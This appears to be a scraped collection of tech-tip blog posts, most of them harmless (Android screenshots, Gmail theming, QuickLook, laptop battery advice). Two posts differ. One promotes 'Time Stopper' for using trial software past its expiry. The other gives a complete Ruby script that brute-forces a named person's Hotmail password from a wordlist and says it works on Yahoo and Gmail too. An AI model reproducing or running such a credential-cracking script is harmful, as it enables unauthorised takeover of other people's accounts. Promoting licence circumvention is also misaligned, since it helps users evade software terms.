Roomba Pac-Man
via youtube.com
I have to admit I have a thing for robots. So when I saw this, it was love. There are so many ways that people have tried to hack Roomba's (robot vacum machines) but this is probably one of my favourites...
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Easy screencapture of #Android under Ubuntu using ddms
Hello busy reader,
Today I want to show you simple technique how to capture screen of your Android device. To put screenshots of your app on your blog, website or simply to include promotional screens for Market application. There are are three steps.1. open terminal and start ddms, by typing ddms in your android ./tools. Ddms is a debuging tool which provides port-forwarding services, screen capture on the device, thread and heap information on the device, logcat, process, and radio state information, incoming call and SMS spoofing, location data spoofing, and more. Check link for more detailed information. (step1.png)2. When we have Ddms opened. We choose device to debug from left section, in my case it's mine G1 only but you may use emulator as well. So when you use device we can go to step three.(step2.png) 3. After we connected to device, use from menu -> device -> and screencapture. Shortcut is ctrl+s.Result of whole process is step3.png :-).C'est tout.Have fun, I hope you'll find it useful. with best wishes,
Patryk
Five Surprising House Hacks! [adult content]
via kungfugrippe.com
Extremely funny and surprisingly well done by Merlin Mann. I especially like hack #5.
This IS adult content, but not over-whelmingly so.
Gmail: Gettin' My Groove On
Today, pimped my gmail with 'GoogleRedesigned' -- colored labels, filters, the whole shabang!
VistaSwitcher is a Ridiculously Awesome Alt-Tab Replacement
via howtogeek.com
This is a nice companion to Executor my launchbar tool of choice on Windows. I cleaned up Executor down to a very simple black bar and added all of my needed keywords. Together they work really well.
How to use Trial Version software forever without Expiration
Now we download stuff almost daily. New products pop out so often. You can use any software forever you want. You can download trial version, right. Trial version expires after some days. You can stop that expiration. You can tell trial version of the software to not count days or do not bother about time. The software will stay and keep working like original software forever and will not expire or cease to work. You do not have to change your system clock. This little software does it all.
Time Stopper : use Trial Version software forever without Expiration
Time Stopper is the software which can stop the time for try out version software. When you stop the time you can use your try-out versions forever. When you stop the time of a try-out version using this Time Stopper it works via this Time Stopper. Real time and date run normally on your system. You can use any number of try-out version softwares with this software.How it Works
- Open Time Stopper
- Browse and select .exe of required trial software
- Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date.)
- Choose any time
- Click open software on your selected date
If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.
Size: 844 KB
Download Time Stopper
Download Link | Download Link1
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Bruteforce password cracker / ruby
hey dudes. Today i am going to share a code snippet i worked on couple of days ago. Originally the idea of this script was given by Nuvana.Her hubby recovered her lost password when she forgot it. So i wanted to get my hands dirty with some ruby code, and wanted to try out this one. Actually i succeeded.
The program is written in ruby so you need ruby interpreter to execute this, and the Contacts gem is needed as well. However performing attacks like this on people's accounts is not sensible and takes a lot of time. It is even not worth the time spent on cracking because there is only 20-30 percent chance of actually getting others passwords.
This program is written for educational purposes only and to let you all know that, these kinds of attacks exist and your account can be hacked. So i request you all to change your passwords to alpha-numeric for atleast a bare minimum. here is the code
#!D:\Ruby\bin\ruby
require "contacts"
# This program will have benchmarking
# set initial counter
i = Time.now
# Set initial wordlist
passes = Array.new
file = File.open('words.txt','r')
file.each_line do |w|
passes << w
end
# start the bruteforce attack with the provided wordlist
for $w in passes do
begin
contacts = Contacts::Hotmail.new(ARGV[0], $w).contacts
puts "PWNED!! The password is #{$w}"
break
rescue Contacts::AuthenticationError
puts "#{$w} as a password didn't work!"
end
end
# output the time it took to execute the whole script
puts "It took #{Time.now - i} seconds to execute the whole attack!"
As you can see, cracking the passwords rely on the quality of the wordlist being used. This can be done to hotmail, yahoo and gmail passwords as well. The id must be passed as the first argument to the program in order to crack his/her password.
See folder content previews in Quick Look in 10.5 and 10.6
I use QuickLook pretty much everyday while searching through folders. I fin it most helpful when browsing documents, PDF's and media files like photos or videos. Until now if you ran across a nested folder ( a folder inside of another folder) QuickLook will just show you a pretty little aqua blue folder. But adding this little hake-a-round I found on Mac OS X Hints and you'll have a neat little semi-transparent folder to see your files in complete with a rotating animation of your files.
I use QuickLook pretty much everyday while searching through folders. I fin it most helpful when browsing documents, PDF's and media files like photos or videos. Until now if you ran across a nested folder ( a folder inside of another folder) QuickLook will just show you a pretty little aqua blue folder. But adding this little hake-a-round I found on Mac OS X Hints and you'll have a neat little semi-transparent folder to see your files in complete with a rotating animation of your files.
How Do You Do This You Say...Easy:
1. Force Quit/Relaunch Finder Using the Force Quite Menu (or cmd + opt + esc)
2. Open Terminal Application (in your Utilities folder)
3. Enter or paste in the following command:
4. Relaunch Finder
[UPDATE: I was able to do this in 10.6.1 by just pasting the command into terminal without quitting the Finder.]
These are my before and afters.
Unplug Your Laptop Regularly (When In Doubt)
Unplug Your Laptop Regularly (When In Doubt)
20 minutes agoby Gina Trapani
A friend complained to me that after only two years, she had to replace her laptop’s battery because it wouldn’t hold a charge. I found myself telling her that she shouldn’t keep her notebook computer plugged in continuously, because it would kill the battery faster. Then I stopped myself: Was this just an outdated geek myth rendered obsolete by modern batteries?
Yes and no. It depends, of course, on what kind of battery you have. Battery technology has come a long way over the years, and surely in 2009 you don’t have to worry about how long your laptop’s been plugged in. However, one major notebook manufacturer (which ships Lithium-ion batteries) thinks you should, and suggests adding a reminder to your calendar to deplete and recharge your battery once a month. To quote: “Apple does not recommend leaving your portable plugged in all the time.”
My friend, however, has a two-year-old Dell. Cursory Googling for her model didn’t turn up the equivalent of Apple’s definitive statement, only lots of opinions which ranged from “it’s a non-issue” to “yes, it kills batteries!” Dell.com’s battery recommendations page doesn’t say anything about not keeping your notebook plugged in. HP’s battery tips page doesn’t answer the question, either. I pored through my wife’s ASUS Eee PC user guide and didn’t find any warning about continuous charging. A non-mention might make you think it’s a non-problem, but if this is an issue for Apple notebook batteries, it is for PC notebooks with lithium-based batteries too. When I asked, my Twitter followers returned mixed replies, but many notebook users (both Mac and PC) DID report anecdotal battery problems when the machine was plugged in constantly.
Other folks more educated about the differences in battery types than I am dropped knowledge about which ones are problematic and which aren’t. Here’s what they had to say about their notebook batteries.
I asked: Is it true that keeping your laptop plugged in continuously degrades battery life? GOOG turns up conflicting reports, need authoritative source.
wilw said, “Anecdotally, I can tell you from personal experience that it does. I’ve replaced 2 MBP batteries for that reason.”
kevinmarks said, “it depends on the kind of battery you have in the laptop.”
howtogeek said, “A bunch of good info on the topic“
YourGoToGuy said, “No research. But my Dell battery just went dead after a couple of years for that reason.”
ethnicomm said, “guess it depends on if the battery has *memory* – I thought it was best to run it down to almost nil before recharging.”
cfarivar said, “if so I’m screwed!”
aloncarmel said, “asking the same. Apple answer about Mbp is that it doesn’t harm the batt. I dunno. I still drain it.”
CoreyHarris said, “I have always heard the same thing, But I don’t like to run off battery if I don’t need to.”
room214 said, “I have set my battery to only start charging when below 88% and stop at 99%. It should help increase the life of the battery.”
brandon_wirtz said, “depends on what kind of battery you have. Lead Acid (heavy short life like your car has) Nope. Just LI yes. Li polymer no.”
brandon_wirtz said, “Some Battery types get a memory, some don’t some only charge so many times some don’t”
brandon_wirtz said, “Also depends on if your laptop has a good Voltage regulator for charging. Faster charging laptop is more likely to wear battery”
bonsai said, “With modern LiPoly or Ni-MH batteries, it’s all about the charger rather than batt. chem. so it actually depends on the laptop.”
andrevr said, “Pretty sure that’s not the case anymore. Smart charging circuits and battery tech have kilt that one.”
andrevr said, “Here’s some real data for you to consider. My Air has spent ALOT of it’s life connected.”
FrankRamblings said, “absolutely true. I completely killed a thinkpad battery in 9 months that way. To the point where total batt life was 12 mins.”
scorpusmaximus said, “I’m no expert, but I agree with Ray Maxwell on the battery question. Charging and partial charges degrade them quicker.”
bwhalley said, “it does, for fact. if it’s a desktop that’s portable, only put the battery in when you need to move it.”
alexknight said, “This happens with Lithium Ion batteries. Apple has a kb article that explains you should drain your battery once a month.”
dariomartinezb said, “PLS, share your findings. I keep my laptops connected all the time… I’ve found batt life to be really short for some of them!”
GBendinelli said, “that was true for Nickel Cadmium batteries, but isn’t really true anymore. It’s good to deplete it 100% after every 25 charges.”
davidleary said, “depends on whether or not you Laptop manufacturer is in the Laptop Battery replacement business too”
jtimberman said, “Depends on the battery type. Apple’s info for Macs“
diesh said, “for lithium batteries this is a good heads-up from Apple.”
thompsonpaul said, “recommendation is to remove battery when under AC power for long periods.”
thompsonpaul said, “Yup, it’s true, at least for Lithium Ion, as stated in ASUS’s laptop usage guidelines. Will try to find you online src”
thompsonpaul said, “Worst condition is keeping charged batt @ elevated temperatures, which is case w/ running laptop batts. http://cli.gs/BrvPnY“
revtristy said, “It’s true for me. I kept my laptop plugged in most of the time and now my battery shuts off randomly when not plugged in. Sad!”
ChrisKubica said, “If u have a Mac, this app helps u see info re yer battery’s life. A pic“
chrisbarber86 said, “Yeah it does, ideally you need to either remove the battery, or charge it up full, run it down 99% flat, then charge again etc”
tchachra said, “I have a laptop at home on my desk always plugged in. Never had a battery issue. Mac’s and or PC’s.”
haselhurst said, “i believe this is true. my battery was fine, then left laptop plugged in continuously for 2 years, no buggered.”
Cocodmonkey said, “experience says yes.”
GitEmSteveDave said, “I pull the batteries out of mine occasionally.”
emilsit said, “My bet? Depends how smart your charger is (and what battery technology).”
gdarklighter said, “no. Modern power supplies are smart.”
biggsjm said, “According to Apple you need to cycle once a month. Run down to empty and then recharge.”
joshbrez said, “My first MBP battery ran down enough w/ it always plugged in for Apple to replace it for me”
UnreadZigmund said, “I’ve also researched this after buying a netbook but couldn’t see a consensus.”
sameersama said, “well as far as personal experience is concerned then it does mess up the battery.”
puneetsarda said, “yes it does My laptop’s battery life has fallen to 35-40mins”
robert_wheeler said, “from experience supporting many laptops yes leaving them plugged in degrades battery life but it can take months to happen”
jaskirat said, “No way. Using your laptop on battery all the time degrades battery!”
guscuddy said, “I’m no expert, but my last laptop battery died after a little over a year (and all of a sudden) because I kept it plugged in.”
emhs said, “At the Shack, we have a policy to not keep the battery in demo laptops. Not quite authoritative, but close.”
Of course, the best way to find out is to RTFM for your notebook and battery type to be sure,. My primary notebook is a MacBook Pro, and as per Apple’s suggestion, I don’t keep it plugged in continuously at my desk. (Because I’m on my second battery already, I’m paranoid and pull the plug a couple times a week.) Image courtesy of andrevr.
